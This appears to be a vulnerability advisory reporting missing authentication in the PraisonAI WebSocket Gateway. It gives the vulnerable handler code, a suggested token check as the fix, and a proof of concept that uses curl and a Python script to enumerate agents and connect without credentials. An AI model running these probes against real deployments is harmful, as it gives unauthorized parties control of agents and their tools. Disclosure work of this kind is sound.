Summary
PraisonAI Has Missing Authentication in WebSocket Gateway
Details

Summary

The PraisonAI Gateway server accepts WebSocket connections at /ws and serves agent topology at /info with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.

Details

gateway/server.py:242 (source) -> gateway/server.py:250 (sink)

# source -- /info leaks all agent IDs with no auth
async def info(request):
    return JSONResponse({
        "agents": list(self._agents.keys()),
        "sessions": len(self._sessions),
        "clients": len(self._clients),
    })

# sink -- WebSocket accepted unconditionally, no token check
async def websocket_endpoint(websocket: WebSocket):
    await websocket.accept()
    client_id = str(uuid.uuid4())
    self._clients[client_id] = websocket
    # processes any message from any client

PoC

# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
# start server:
# python3 -c "import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host='127.0.0.1', port=8765).start())" &

# Step 1 - enumerate agents, no auth
curl -s http://127.0.0.1:8765/info
# expected output: {"name":"PraisonAI Gateway","version":"1.0.0","agents":[...],"sessions":0,"clients":0}

# Step 2 - connect to WebSocket, no token
python3 -c "
 import asyncio, websockets, json
async def run():
    async with websockets.connect('ws://127.0.0.1:8765/ws') as ws:
        print('Connected with no auth')
        await ws.send(json.dumps({'type': 'join', 'agent_id': 'assistant'}))
        print(await asyncio.wait_for(ws.recv(), timeout=3))
asyncio.run(run())
"
# expected output: Connected with no auth
 # {"type": ...} -- server responds, connection accepted

Impact

Any unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via /info, and send arbitrary messages to agents including tool execution, file reads, and API calls. GatewayConfig has an auth_token field that is never enforced in the handler.

Suggested Fix

async def websocket_endpoint(websocket: WebSocket):
    token = websocket.query_params.get("token") or \
            websocket.headers.get("Authorization", "").removeprefix("Bearer ")
    if self._config.auth_token and token != self._config.auth_token:
        await websocket.close(code=4001, reason="Unauthorized")
        return
    await websocket.accept()
